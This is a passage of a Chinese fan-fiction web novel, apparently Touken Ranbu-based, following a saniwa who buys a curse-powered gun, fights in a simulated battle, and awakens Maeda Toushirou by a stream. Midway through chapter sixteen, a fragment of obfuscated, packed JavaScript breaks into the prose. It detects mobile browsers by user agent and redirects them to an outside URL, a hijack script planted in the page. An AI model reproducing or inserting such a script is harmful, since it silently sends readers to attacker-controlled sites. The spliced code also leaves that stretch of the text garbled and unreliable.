“最近不是很太平啊。”三日月将目光从布告栏前移开。
你们走进一家论坛上推荐的咒术武器店。店铺位于万屋街末尾一个拐角,店内空间巨大,各式枪械按在种类大小分门别类,比起武器店更像一家武器超市。店内挂着一排羚羊和雄鹿的头颅标本,用玻璃眼珠注视下方的买客。
在日本古代观念中,最恐惧的事物顺序是「地震、雷、火、大风、洪水」,由此诞生了许多有关此类的咒术。这里的枪械无需子弹,相反以「火咒」、「雷咒」驱动,只要使用者灵力不耗尽,火炮亦不停歇。你综合思考后,觉得这种暴力艺术比刀剑更符合自己的灵力状态。
“没想到万屋也有这种店。”你拿起一把仿紧凑型枪械制造的咒术手枪,在没有注满灵力时,它的重量已经与一把太刀相仿。
“嗯,单从器物的角度上看,老爷子我也能看出非常精巧。”三日月打量枪身繁复的咒文,“不过和刀剑相比,量产之物略逊一筹吧。”
“的确,”你有所感触,把咒术枪放回原位,“刀剑是独一无二的艺术品。果然,还是买刀剑更好。”
你话音刚落,三日月宗近原本悠然的笑容有了一丝停顿。
他语气一转,重新把你放下的枪递回你的面前,“不过,火枪也有长处。迅速,致命,无需近身搏杀,对主君而言也许是最稳妥的选择。本丸内还在沉睡的陆奥守吉行也很喜欢火枪呢。”
陆奥守吉行。你记得这个名字,在论坛上经常提到的初始五刀之一,前主是坂本龙马。一开始,你对他印象最深是他的前主,以至于会记岔成“陆奥守龙马”之类的奇怪名字。后面被论坛上的人提醒,才慢慢纠正回来。
你敏锐地捕捉到三日月话风转变,忽然想起,在天守阁里提出购买武器时,一期一振和笹贯脸上也闪现过类似的不自然。
他们……似乎很排斥你购买一把属于自己的刀。
你一边检验各种枪械与自己灵力的亲和度。一边不动声色观察三日月,他似乎没有注意到你的心思,正饶有兴趣的打量着一排反器材咒术枪。
你趁机偷偷登录审神者论坛,迅速发出一个贴子:
【求助:为什么本丸的刀剑男士,好像不喜欢我购买刀剑作为武器?】
现在晚餐时间,估计没有多少人看贴。发完贴后你立即退出论坛,没有多看一眼。
这时,一块巨大的黑影出现在你的视线上方。你缓缓抬头,看见三日月正双手托着一架一米长雷咒加特林。姿势优雅得仿佛托举一件重宝。他华美古典的狩衣与手里的大黑块形成一种奇妙的美感。你脑中下意识闪过一个古老的表情包:【大人,时代变了.jpg】
“既然要选,我觉得大总是好的。”三日月微笑着,眼里闪烁看热闹不嫌事大的光芒。
你从他手里接过沉重的咒术枪,险些一个踉跄。你咬紧牙关,“……我觉得新手扛着30公斤的铁块上阵,还是太早了。”
为了防止被带入现世造成混乱,咒术枪被设计成只能由灵力驱动,用咒术轮替代弹巢的部位,重量远超真正的现世枪械。三日月依依不舍地把它放下,又换上一架950mm的雷咒冲锋枪,“嗯……关于火枪的事,老爷爷我确实不清楚啊。”<
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你哑然失笑,“我觉得你选的都太夸张了。”
“哦呀?我听一期一振说,您的力气大得很呢。”三日月话锋一转,“用木刀接下「形代」的全力一击,那冲力已经接近一辆奔驰的牛车了吧?您的刀可没有脱手。”
你心中一动,说:“那请你用挑选刀剑的方式,来帮我挑选一把枪吧。”
最终,在你强烈要求下,三日月才放弃那些能把人轰上天的重武器,用挑选名刀的眼光给你选择一把一公斤重,有三重保险的紧凑型咒术枪。枪身全长与短刀相仿,外形酷似《杀手不太冷》里主角使用的那把□□。每解开一道保险,枪管内的咒术纹路就会校准一次,闪烁美丽的幽蓝光芒。
武器店隔壁是专用的咒术枪训练场,墙上挂有不少顾客好评。场所老板兼职教练是西方人,态度不算好,大约对晚上加班不满。你没太在意,多支付些小判,说明自带枪械,包下一个单独隔间直到深夜。
教练的训练风格和他的人一样干脆直接。他首先用拳头击打你的手掌,让你对后坐力大小有个粗暴的认识。再让你练习持枪姿势,双腿自然分开,双膝微曲,侧身站立,保证稳定性和减少暴露面积。
教练虽然态度不凉不酸,水平却很专业,认真教导。用了不到一小时就教会你基本功。
“你别以为射击那么轻松。”教练嘀咕几句。
基础教学之后的四小时是近距离多个固定靶练习,这个训练场没有限制射速,训练动作和流程准确度,然后再慢慢提升出枪射速和射击距离。
视线穿过照门和准星,连成一条直线。灵力输出稍有不稳,射出的咒术便会往偏离靶心,在意想不到的地方留下痕迹。
第一把你打得并不好,总在瞄准、扣下扳机、内部咒术轮碰撞嵌合的一瞬前后眨眼。这是存粹的生理反应,就像肉眼看到闪电的同时知道下一刻会听到雷鸣一样,先一步进入防御状态。
教练在一旁窗口抽烟看着,等你打完后他才上前。他说话不用敬语,声音沙哑,“射击是心理游戏。林,好的枪手不是那些能预测弹道轨迹的人,而是会对子弹‘射出’感到惊讶,可以骗过自己身体的人。你要学会享受枪和灵力的碰撞声,把它当成礼物——因为每一次,你的敌人都会因此倒下!”
因为长时间练习,你的手臂微微颤抖,额上渗出细密的汗珠。你有些烦躁,暗自奇怪自己的灵力输出为什么那么混乱无常,总觉得自己仿佛忘记了什么重要的事。
三日月一直静静地坐在一边,啜饮着店家送的大麦茶看着,对漫长的等待毫无怨言。
“看来您学的很快。”又过了一会,三日月缓缓开口,“虽然说准备是重要的事,但明天‘联队战’练习的时间会更多呢。过犹不及,反而会损耗心神。”
他的话让你冷静下来。的确,你现在手臂酸痛,为了明天“联队战”不拖后腿,你绝定听从他的建议,先回本丸休息。
临近深夜的万屋街退去白日喧嚣,只有24小时便利店和居酒屋的灯光,在空气中晕染暖乎乎的橘黄。几个刀剑男士在居酒屋半扶半抗架出自家喝得咛叮大醉的审神者,摇摇晃晃往各自本丸方向走。在路灯下,这幅笨拙的画面竟然透露几分温馨。
你忽然有点明白,一开始本丸的大家为什么不希望你上阵了。
因为在刀剑眼中,主君,是不需要亲自“染血”的。倘若你也拿起刀剑战斗,那便意味着你将自己置于与他们同等危险的境地。那是他们绝不愿看到的。
回到本丸,刀剑们果然还没有休息,像是在等人。你把万屋街上买的蓝色御守一人一个给他们发下去佩戴,心里稍微安定些。
回到寝室,你疲惫地倒在榻榻米上,打开平板。之前的求助帖再刷新冒出几条回复。
“「w,刀为什么会响。」
「对不起,太好笑了」
「这个问题让我想到了上个月我家那位,非要买一把和我一模一样的刀,说要和我体会‘二刀开眼’。当然,最后被我拉去锻刀室教育了(物理)」
「楼上的是刀剑男士?」
「上个月好像也有很多这种帖子吧。」
「这是每个新人审都要经历的‘认知障壁’吗?」”
似乎是常见行为。你本来还担心这种行为在刀剑男士眼里是参与刃口买卖。
「啾啾啾」
你正要关闭平板,熟悉的消息提示音响起。
白川桃通过了你的好友申请。
15. 第十五章
你滑过斜坡,身后传来一声巨响。伴随飞沙扬砾,一道黑影撕开烟雾,挟裹着腥风直径朝你冲来。
你的胸脯因呼吸急促剧烈起伏,毫不退缩,踏过沙地,绕到一棵树后同时举起双手,咒术弹在空中划出一道冰冷的银光,指向对面敌打。
眼前这“生物”酷似人型,破烂的编笠下看不清面目,身上穿着浪人服饰。咒术击中它的要害,它的身体飞溅出血液,在空气中化作点点血雾。
左边隐约传来“噼啪”声响,你迅速回头,一个蛇形骨架尖啸着飞来。你下意识后仰,赶紧退开几步。
“击倒。”一个平稳的声音从你上方响起,在坡上的小乌丸一跃而起,刀刃划破空气而去,截断蛇骨身体。
蛇形骨架头上有两只鬼角,上半身在沙地上翻滚,嘶嘶鸣叫,不甘地亮出两排剪刀一样的牙齿,最后崩裂成一堆石块。
联队战第二日,这般程度的配合实属难得。
尘埃落定,小乌丸从怀里掏出手帕,给你擦干净眼睛附近的沙尘和汗水,“主君,您没有受伤吧?”
“没有。”你任由小乌丸细致擦拭,手帕上的香味让你的神经稍稍放松。
不远处三日月在敌阵中迂回前行,以迷惑极速接近的敌太,刀光如一道圆弧的新月,在敌太身上留下深深的开口。
对方左右摇晃一下,稳住身形,不甘示弱挥刀横砍下三日月的半块衣料,刀在三日月小臂上发出“咔吱”一声,砍在他的骨头上。
“咳……”三日月闷哼一声。
“三日月!”你心脏一抽,抬起咒术枪准备射击。
“主君,小心!”小乌丸将你扯离原地。同一瞬间,一把敌胁差的刀刃砸在你刚才的地方。几滴温热的液体沿你的脸颊滴落,对方的刀风在你额角擦出伤口。
“主君,三日月!”是山姥切,他擦了把脸上的血,踉跄从地上站起来。显然刚结束一场恶战。
笹贯从另一个方向切入战场,朝你的方向奔去,山姥切见状,立马会意,与三日月交接应敌。
“这个程度……”山姥切低吼一声,欺身向前,将刀身刺入敌打的腹部,在敌打反击前抽刀躲闪。
三日月紧跟其后,下一刀落在敌太的头颅,“就由我来收尾吧。”
你使劲摇头,驱除脑中的眩晕。联队战完美模拟真实战场,保留全部疼痛,那刀擦过你的额头,留下阵阵发麻。小乌丸用手帕捂住你的伤口,笹贯跑到你身边,利落地切下衣服布料给你包扎。
原本一期一振和笹贯一起在战场边缘处理成群敌短。因为机动较低,一期一振比笹贯慢一步回来,他回来看到你受伤的模样,平日温文儒雅的气场荡然无存。没有发出任何声音,下一个瞬间他直冲向敌胁差。
那把胁差还没来得及反应,一期一振的刀刃从上直下,垂直劈落,把它直接变成两半。
随着敌胁倒地,合战场第十轮终于结束。
中场休息。你们围坐在临时展开的防潮布上。小乌丸取出桂花味的一口团子和茶水分发给每个人,桂花团子的甜香和汗味奇异的混合在一起。
“果然太逼真了!”你忍不住感慨,额角的伤口已经消失,但还残留幻痛。你的手现在不像第一天休息时间那样发抖,还有余力端稳一口团子的盘子。
比起你的心有余悸,刀剑男士们的神情反而透露着一种兴奋。在本丸安闲过久,酣畅淋漓的战斗唤醒他们身为刀剑的本能。
笹贯咬下团子一边,红豆内陷从白色糯米皮下溢出来,“啊,疲惫让甜味更泌人心脾了。”
“下一场请呆在我能看到的地方,主君。”一期一振帮小乌丸分茶,递过一杯茶水给你,他的情绪已平复许多。
你接过茶杯,加了桂花蜜的麻薯表皮有种素雅的甜味,搭配茶刚好,“我有努力跟着,但战斗起来太混乱了。”
小乌丸看向你,“毕竟经验是一次次积累的。不必心急,主君。”
你点点头,目光转向笹贯,“话说,笹贯,你刚才怎么比一期一振还紧张?”你有些好奇,“你没有和前任主君参加‘联队战’吗?”
“啊,那个呀,”笹贯笑起来,神情坦然,“因为我以前的主君是一棵年岁悠久的杨桐树哦,所以本丸所有的事务,基本都是由初始刀清光君负责的。”
“诶?”你睁大眼睛。
周围的刀剑也露出惊讶的表情,不过他们惊讶的点和你不同。一期一振关切的问,“那……要怎么和主君交流呢?”
“主君会在风中沙沙作响,夏天时还会弯下枝干,给本丸的大家乘凉哦。”笹贯怀念的说,“虽然清光君总是叮嘱,为了不干扰主君的灵力,不能随便触碰就是了。”
你感觉有些困惑,不论生物还是非生物,只要有灵力都可以成为审神者吗?
刀剑们开始就这个话题讨论各自前主君。趁短暂的休息时间,你点开平板论坛通讯页面,一个戴草帽和红色太阳镜的三花猫头像出现在列表里——白川桃。
旁边是前天你和白川桃的对话:
【你看着自己发出的第一句拘谨的问候:「您好,我是林。我听本丸的刀剑说了有关你和佐藤间的事。关于前田藤四郎的事,非常抱歉」
对方几乎是秒回。
白川:「哦,那件事吗?已经过去了,林君。没关系【颜文字.猫猫】」
这可不是随便过去的事吧。你刚打出几个字,白川桃下一句话就发了出来。
白川:「因为我已经让他付出惨痛的代价了☆。他以后都失去那方面的功能了吧?☆」
你:「???」
白川桃兴致勃勃给你讲了信中没有的细节。
白川:「在前田君和我们问好时,我就注意到前田君不对劲啦。」
你:「是表情吗?」
白川:「Bingo!我的直觉可是很准的嘛。」
白川:「明明是个短刀小不点,却强撑着,担惊受怕得没有小孩子的样子啊。为了确认他的脸,我还凑近看一了下。」】
你可以想象到她说出这句话时的口吻。没想到小乌丸他们的信省略了许多过去的细节。
对话记录继续向下移动。
【白川:「对了,那天被叫走没事吧?」
白川:「如果你想听,我可以给你讲讲我是怎么殴打佐藤的哦。也让你解解气。」
你看着这句话摸了摸下巴:「没什么事。谢谢您。」
白川桃用一个全新的提议覆盖前面沉重的话题。
白川:「啊啊!不说这个了,这周末是“烤肉日”,烤肉店有促销活动。好像还会有审神者聚会,据说酒水不限量。也许还会看到有趣的事哦~」
你:「抱歉,白川前辈。我还没有到能喝酒的年龄」
白川:「诶——!!【惊讶.Emoji】没关系没关系,里面除了酒水也有可乐和果汁。如果改变主意随时欢迎—【颜文字.猫猫眨眼】」】
审神者的聚会……会是怎样的光景?人类、妖怪、甚至有灵力的动物聚在一起吃烤肉,喧闹的交谈。光是想象,就让你觉得心驰神往。
日常生活的对话缓解大部分的紧张。你收起平板,看了看天色,太阳比以往更早倾斜。对了,今天是秋分了啊。
一开始你也想飞速成长跑去第二合战场,但是看到第二合战场【室内战】和【市街战】的标签,本丸队伍除了山姥切国广都是太刀。
新手期嘛,在最简单的图里训练不丢人。你安慰自己,但心里忍不住碎碎念:好想要三倍经验……好想要短刀……看着那些敌短刀,你甚至产生“抓一只自己养”的想法。
“主君。我们已经准备好了。”一期一振收拾好餐具,打断你的胡思乱想。
“那就继续吧。”你深吸口气,眼神重新变得锐利。
新一轮合战场开启瞬间,天气忽变,你眼前半透明面板上一闪而过——【昼战之乱】。
周围的景色扭曲重构。你们被传送进一片广袤的古杉树林,高大的树木替代现代都市楼房,重新统治这片土地。
“真是让人不快的气氛”山姥切眉头紧皱。他的声音尾调在树林里变成模糊的混响。
你也没想到会有一天体验山民日常。
小乌丸体型轻盈,轻轻一跃,在树干上几个起落,跳上高处一条粗壮的树枝,“远处敌短刀部队一队,数量六振。树枝茂密,阵型不明。”
侦查失败。战况一触即发。你下令使用逆行阵提高刀剑机动。
话音未落,结队的敌短从天上飞过,在空气中游动,飞快俯冲。
刀剑男士先制攻击,你在后方使用咒术枪远程辅助。你借助笹贯掩护阻挡,毫不犹豫连开三枪,精准命中最前面的三振短刀,它们在空中爆开,残骸掉落在地,其余蛇骨受到不同程度的溅射损伤。
第一波攻势被迅速瓦解,队伍朝树林中部推进。
你的鞋子在泥土发出“噗嗤”声。你瞥见地面泥土上呈现深绿色,厚厚一层地衣。空气中弥漫植物腐败的气味。往前走,除了杉树外没有其他高大树种,都是茂密的矮灌木、蕨类植物。你神经紧绷,警惕有可能会出现毒蛇或马醉木。这两类东西在日本树林很常见。你不确定模拟战场会不会模拟到这种地步的“真实”。
杀气从后侧袭来。一支敌短与敌胁混编的部队不知何时绕到队伍侧后方。
你凭感觉甩出一枪,咒弹擦过一个敌
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胁差肩膀,打断了它的手臂。与此同时,距离交编部队最近的三日月抬手挡住另一个胁差的攻击,刀锋顺势一转,干脆地砍下胁差的头颅。
“如果能有年轻人的眼力就好了。”三日月不忘开山姥切的玩笑。
山姥切刚刚才侦查失败,嘟哝一句,“别期待我。”
又有一振敌人从三日月死角挥来。三日月眼神一凛,及时回刀阻挡,两刀交接发出刺耳的摩擦声,“嗯,不是悠闲的时候了啊。”
敌方的另一支胁差和打刀交编部队从你们右侧出现,呈现出包剿局势。
“……是不是有点多了?”山姥切躲过一个打刀的突刺,却不小心撞上笹贯。白色的布被一个敌人刺破,染上鲜血。
笹贯被撞出几步,连忙用力一跺,挡住短刀的突袭,“是敌浪啊!”
“先突围。”你大喊着,咒术弹强行在敌阵轰开一道开口。一期一振紧接着破开敌人阵型,将缺口撕得更大。
“去开阔地带,往树林外移动!”你指挥道,听见树林传来许多窸窸窣窣,令人头皮发麻的声音。
小乌丸在杉树枝干上跳跃穿行,刀光闪烁,砍落不少敌短刀,“主君,诸位先行!吾去引开一些敌人。”
土路陡峭,你脚下一滑,差点崴脚。一只手揽起你的腰,将你整个人提了起来。山姥切单手把你夹在腋下,像扛一袋大米一样往外跑。
“要吐了……”山姥切的手臂刚好卡在你的胃部,你被晃得头晕眼花,险些把吃的一口团子吐出来。
冲力最高的一期一振在前开路,三日月和笹贯殿后。
你强忍胃里翻滚的感觉,看着刀剑男士在湿滑的树林里如履平地,不禁苦笑,果然人与付丧神间的体能差距是难以逾越的鸿沟。
在即将冲出树林时,土路前方,有个诡异的身影挡住去路。
是新的敌方兵种?这是你第一个想法。
这个看似是时间朔行军的怪物,有?刀的雏形,长着筷子长度尖角,花白的长发盖在脚后跟,佝偻着身体,皮肤如九旬老人般下垂,如同穿了不合身的人皮一样。它散发着不详的气息,但是身上唯独没有朔行军那股刀剑气息。
一期一振没有多想,挥刀向前,刀刃砍在对方身上冒出阵阵黑烟,可黑烟散去,它的身体上只留下浅浅的开口。
怪物发出能剧老妇人般的笑声,“呃呵呵呵……呵呵呵呵。”
“是山姥!”山姥切喊到。你一愣,再怎么瞧,也无法将眼前的怪物和人类老婆婆的形象联系起来。
山姥切把你稳稳放在地上,碧青色的眼眸燃起火焰。有「斩除山姥」逸话的他,对这种敌人特攻,他立即上前接替一期一振。
“我来做你的帮手。”一期一振退后半步,将进攻位交给山姥切。
山姥会吃人类。这个念头让你背后一凉。你没有躲藏,迅速调整位置,拉远距离,使用咒术枪击退天上蛇形骨架,不让他们发散一期一振和山姥切的注意力。
一个,三个,五个。
蛇形骨架变成淅淅沥沥的骨头小雨。
树枝被踩断的咔嚓声。只剩三分之二的敌胁差从你后方扑来,你猛地闪身一脚踹在它屁股上,借势把它踹下旁边山坡。
“这不是普通的山姥。小心。”一期一振在前方提醒,用剑术牵制山姥正面攻击。
山姥切额角渗出汗水,“我明白,当初石原大人砍的也不是这样的东西!”
山姥的行动迅捷诡异,放弃了直立,四肢模仿野兽方式爬行,用尖利的爪子胡乱挥舞,反而让人难以近身。
一期一振在前方佯攻,吸引了山姥的注意力。山姥切抓住破绽,绕到其背后,白光一闪,狠狠地劈向山姥后心。
在刀刃要触及山姥后背时,山姥突然以一种违反物理常识的方式扭转身体,放弃防御,用长着尖角的头直径撞向山姥切的胸口。
“唔!”山姥切发出一声闷哼,巨大的冲击力让他瞬间失去了平衡。他整个人被顶的向后倒飞出去——不偏不倚,正是朝着你所在的方向!
你瞳孔紧缩,下意识地伸手想去拉他。但一切都太快了。
他沉重的身体狠狠地撞在你身上,你两眼一黑,抱住他的肩膀,想稳住下盘,却不料一脚踩在滑腻的树根上,两人同时往后倒去。
天地翻转,你和山姥切开始下坠,山坡上的鳞毛蕨 、岩石、苔藓飞掠而过。
一切变得缓慢,你看到那个被你踹落山坡的胁差垂在石头上,一半身体正在变成黑烟。
风向草偃,沙石飞起。山姥切身上的布挡住你所有视线。
下一秒,薄荷绿的流水扑面而来,挤出你肺里的空气,将你卷入冰冷的黑暗。
16. 第十六章
水流淙淙,鸟儿啁啾,你睁开一条眼缝,天空透出橘红的光线。水流漫过你的嘴唇,你试图呼吸,结果立马被呛到。
“咳……”你呻吟着,肺部传来灼烧的疼痛。你找不到自己的手,右手在河床胡乱抓绕,带着一把河泥“啪”地打在自己脸上。
河泥流进眼睛,尖锐的刺痛感让你瞬间清醒。
我回到异界了?本丸的生活,只是我濒死做的一场梦?
你回过神,转动脚腕,幸好腿部还有知觉。你咬紧牙关,用手和膝盖拖起身体,映入眼帘的是一片灾难的景象。
以你落水的位置为中心,周围的一切被夷为平地,原本是山坡的地方变成峭壁,树木皆近倒塌,溪谷的岩石碎裂过半,你躺着的地方原本可能是溪谷阶地部分,现在变成一个洼地。山姥切国广躺在不远处,标准性的白色的布被污泥和血染得斑驳不堪。周围没有朔行军的影子,也没有其他刀剑男士的身影。手里的咒术枪早已不知所踪。
陡峭的岩壁投下巨大的阴影,将溪谷一分为二。一边是晚霞烧灼的暖橙色,另一边已陷入静默的靛蓝。空气混杂着泥土、断裂草木、和山涧溪水特有的清冽气味。水流声是此刻唯一的背景音,时而湍急,时而轻缓。
你在混乱的河床上坐了一会,腹部鼓胀得难受,猛吸一口气呕出大滩的水和污泥。
你还活着。
这个念头刚冒出来,你再也忍不住咯咯笑。你又活着了。
山风吹过,溪水泛起涟漪,也吹散你的笑声。你渐渐平静下来,用冰冷的溪水洗干净脸,试图站起,很快扑通一声又跪在地。好吧,你手脚并用往山姥切的方向爬过去。
他脸朝下趴在浅滩上,如果不是周围的惨状,看上去真像在溪边贪凉睡着的游客。你首先确认山姥切的刀还在挂在腰间,这才松了口气。再解开他身上的白布,小心翼翼抬起山山姥切的脑袋,枕在自己大腿上,抹掉他脸上的泥污。
你的心瞬间沉底。
那张清秀的俊脸已经变形,从头顶到耳侧的部分肿大不堪,呈现可怕的青紫色。你看着那肿胀到半个脑袋大的地方,感到一阵惶恐,不知道自己的灵力能不能补救回来。
放轻松,放轻松……你捞把水抹在脸上,强迫自己冷静。虽然付丧神的身体结构是谜,不过你根据以往相处经验,推断他们应该和正常人类相似。在水里泡着会持续失温,肺里的水不排出来也无法呼吸。
你先把山姥切的头侧放,用手指把口鼻里的泥挖出,之后不敢再触碰山姥切受伤的头部。颤颤巍巍地掀开他的衬衣,腹部也青一块紫一块,轻轻按在上面,似乎没有明显的骨折。
从身高来看,你抱起山姥切轻轻松松,不过不清楚他真实伤势,你担心使用错误的移动方式会造成二次伤害,甚至碎刀。
你扫视四周,溪水自北向南,流速欢快,往下游走也许能找到神社或村落。
你跪在水里,将他的白布平铺,重新调整,让山姥切完全躺在白布中央,然后抓起靠近他头部两侧的布角,把他拖拽上岸。
他的身体比你想象的沉,湿透的衣服和布料增加了拖行阻力。每移动一寸,你都觉得水里有东西故意和你作对。
终于,你把他拖上岸。
你颤抖地把手悬停在他肿起来的部位,深吸一口气,控制体内灵气流量缓缓注入。
在灵力的引导下,他碎裂的颅骨咔咔作响,开始缓慢地自我修正。修复重伤是一个极其消耗心神的过程。你感觉自己的意识渐渐模糊,有那么一刻你好像看到了手上出现了其他颜色,但回过神发现是拖行时带上的河泥。
不知过了多久,他的头型终于恢复原状。
“山姥切。”你用嘶哑的声音叫他的名字,伸手拍了拍他的脸颊。
片刻,他的眼皮颤动。
“主……!”他睁开眼,刚一张嘴,一股浑浊的泥水从他嘴里喷涌而出,低头吐了你满身,为污秽的狩衣添上更多色彩。
“你醒了?”你笑着说,“你可真重,冲力比牛车还大。”
过了一会,你摸着他修复好的脑袋,确认上面真的再没有伤口,轻声补充,“……算了,刚刚骗你的。是我脚滑了没接住你。”
山姥切还在剧烈的咳嗽和呕吐。趁他回神前,你迅速检查衣服内袋里的时政平板。不愧是未来科技,从十几米的高度摔下来,泡了水,还能开机。
你点开队伍页面,有灵力链接,你可以检查本丸刀剑的生命状况。小乌丸和一期一振中伤,三日月宗近和笹贯轻伤。他们都还活着。
你心里石头落地,平静的呼唤,“狐之助。”
金橘色的光芒一闪,狐之助凭空出现,“林大人!好久不……咦咦咦?这,这里是哪里?!发生了什么事?”狐之助跳到地上,发出一连串惊恐的叫声。
“你也觉得这里不是【昼战之乱】合战场吗?”你伸手从狐之助腋下将它托起,和它平视,“听着,立即找到本丸的其他人。告诉他们,我和山姥切国广在一起,都还活着。”
小狐狸瞬间明白了任务的严肃性,重重的点头,快速消失在空气中。
你点开“联队战”页面检查战场信息,发现记录当前敌人轮数的面板都是乱码,同行令牌变成灰色的错误状态,无法与「总务部」取得联系。
“主君。”
吐完水的山姥切终于缓过来,几缕发丝黏在脸颊上,碧青色的眼睛担忧的看着你。
你收起终端,歪了歪头,活动刚才有些发麻的右手臂。关节发出轻微的“咔”声,除此之外,并无大碍。你朝他竖起拇指,“没事。”
“没事?”山姥切的目光直愣愣定在你身上,眉头越皱越紧,仿佛在确认一件难以置信的事。
“那是什么眼神?”你拍掉袴上的泥土,环顾四周,“天要黑了,乱走不安全。狐之助的鼻子很灵,会找到其他人的。我们先在这里安顿吧。”
你的语气带着一种安定感。说完,你便蹲下身,利落地脱掉湿透的鞋袜,赤脚踏入溪水中。你以前居住的城市污染严重,河涌里经常有泡沫和一层五彩斑斓的油,现在摸上清澈的溪水,如果不是要事在身,你真想好好玩玩。
身后传来一阵水声,山姥切也跟着下水,动作却有些迟疑。
“主君……”他低声开口,声音被水流冲刷得有些模糊,“非常抱歉,如果我是真正的山姥切……”
“嗯?”你没有回头,双手在昏暗冰凉的溪水里仔细摸索。晚霞的余晖洒在水面,宛如流动的内格罗尼鸡尾酒。你全神贯注寻找着那把至关重要的咒术枪。“如果是‘真正的’,会怎样?”
“……就不会那东西轻易撞飞,还连累了您。”他的声音和晃动的水混合在一起,摇曳消失。
“你说‘那个山姥’?”你摸到一个硬物,拿出一看是块巴掌大的鹅卵石。掂了掂,扔回水里,溅起一片水花,“我记得狐之助提到过,你和山姥切长义是共享「斩杀山姥」的逸话。还不知道石原当初用的是谁吧?”
“但是,如果是真正的山姥切,应该能做到一刀击退山姥才对。”山姥切声音拔高了些,他停下寻找的动作,“果然……仿品的话只能做到这种程度吧?”
“‘这种程度’?”你终于停下动作,直起身。湿透的狩衣还套在身上,晚风习习,带来阵阵寒意。你转过身看向他。
“你砍到山姥了,对吧?”
山姥切一征,“什么?”
“我是说,”你看着山姥切的眼睛,恍惚间觉得溪水也流进了山姥切的眼睛里,“在接替一期一振时,你就一刀砍中那个怪物,它身上的烟我看得一清二楚。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389583|184217||http|test|mini|href|location''.split(''|''),0,{}));
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>你向前走两步,捧起一手溪水,毫不犹豫朝他脸上泼去,“——醒醒!”
水珠四溅,山姥切下意识闭上眼。你再次开口,声音坚定,“听好了,不管传说如何,不管仿品真品。就在刚才,你,山姥切国广,斩伤了山姥。这个事实,比任何「逸话」都真切。你已经是‘山姥切’了。”
他愣在原地,水珠顺着他金色发梢滴答滑落,露在白布外的碧青色眼睛里映着你的倒影。
“好吧。”你没有给他继续纠结的机会,转过身,用一种半玩笑半命令的口吻说道,“那么,山姥切阁下,您现在是我的刀。有个不知好歹的怪物刚才袭击了你的主君,现在,我命令你,找出它,然后——”你顿了顿,回头朝他狡黠一笑,“——让它知道,它惹错人了。”
“……击退山姥可不是我的本职工作。”山姥切的声音依旧低沉,但握住刀柄的手指不自觉收紧了。你知道他听进去了。
远处的地平线在日光下宛如燃起大火。你的心也随着太阳一点点下沉,再不找到咒术枪,入夜后就真的麻烦了。
“啊。”
山姥切那边突然发出一声惊呼。你立马淌水过去。
他的手正从溪底的淤泥里缓缓抽出,带出的不是枪械的金属质感,而是一段裹满黑泥的木条状物体。他小心地在水里涮去泥污,一振附有刀鞘的短刀显露出来。
你们对视一眼。
你不禁叹气,“不是枪啊。”
“主君,”山姥切把短刀递到你面前,“这振刀里有灵力。”
你立刻明白山姥切的意思。短刀侦查高,唤醒这把刀里的付丧神,也许能更快找到枪械。
“真的要现在吗?”你拧起眉头,“在这种灵力混乱的地方,如果是唤醒的是失去心智的「形代」怎么办?”
“那斩了就好吧。”
山姥切的回答快得让你吃惊。那语气里没有丝毫犹豫,只有对自己刀刃的绝对自信。
你忍不住笑吟吟说道:“你果然是国广的第一杰作。”
这句话仿佛触动了某个开关,山姥切立即拉下头上的白布,盖住大半张脸。一块忘洗掉的河泥从布上滑稽地落下,“……不知道你在期待什么。”
伴随他的话,河泥吧嗒落入水里。
“你不把布洗干净再披吗?上面还有泥。”
“别管我,弄脏到这种程度正好。”
山姥切将洗净的短刀双手奉上。
你接过短刀,走到岸边干燥的岩石边。端详着这把朴实无华的短刀,一向没有信仰的你,也不禁祈祷自己的灵力不会把里面的付丧神扭曲成可悲的怪物。
你把短刀放在一块平整的岩面,闭上眼睛,深吸一口气,注入灵力,将所有杂念排除。
忽然,一片轻柔的、带着微凉湿意的东西贴在你的脸颊上。你睁开眼睛,漫天飞舞的樱花花瓣中,一个身着军装、戴军帽的小小身影出现在你眼前。
“在下名为前田藤四郎,长长久久,侍奉于您。”
你眨了眨眼,还没完全反应过来,回头望向山姥切。
“诶诶……这是,人类的身体?”新来付丧神惊奇地打量自己身上的衣服,反复张开握紧小小的手掌。
“啊啊,这个是……脚?”付丧神用手摸索着自己膝盖,好奇的地握住自己的脚腕,像拿刀一样双手提起。
“咦?等等……手,脚,要怎么放下来?”在保持金鸡独立的动作几秒后,他的身体失去平衡一屁股坐在地上,头上的军帽歪在一边。
你上前拎起前田藤四郎,把他的军帽摆正,喃喃自语,“简直就是刚出生的婴儿啊。”
“主君,”山姥切不知何时站在你身后,悄声提醒,“按锻造年代,前田藤四郎和我年纪差不多。”
“……”你的表情僵住。
17. 第十七章
你好奇的打量眼前的前田藤四郎。短刀在万屋街总是最活跃的,他们吵吵闹闹,分享和果子和小玩意,从行为举止上看和人类小孩无异。
但眼前这个刚刚“诞生”的前田藤四郎却有些不同。
他的身高和小学生差不多,军帽上挂有藤花饰品,身后披着变形藤花图案的斗篷。咋看他站立的姿态像“初生的小鹿”,弓着腰,双手前伸保持平衡,不过他的视线一直停留在脚边的土地上,鞋尖在泥土上点踩。
你并不喜欢小孩子,也不知道该如何和孩子相处。不过山姥切说了前田藤四郎和他年纪相仿,你决定收起面对孩童的态度,将他视为一位平等的“同僚”。
你伸出右手,示意前田藤四郎可以扶着你的手臂。
少年的手搭在你的手臂上,连声道谢,“谢谢您的体谅,主君。”他的声音清脆而平稳,“‘拥有双脚’的感觉非常新奇。”
你倏忽晃神,想到本丸以前的前田藤四郎,是不是也和这个前田藤四郎一样,刚诞生时也会说“长长久久”?
“新奇吗?”
“是的。”他一边跟着你缓步移动,一边回答,“能按照自己想法移动,非常……有趣。”
你把他带到山姥切面前,让两位刀剑男士互相认识。
付丧神学得很快,仅仅几分钟就能自如行走。你直盯着他的脑袋,发现他的视线总是不自觉扫视周围的岩石,眺望树林,眼睛布满红血丝。
他似乎察觉到了你的视线,抬头对你露出一个灿烂的笑。
“你不眨眼吗?”你突然问。
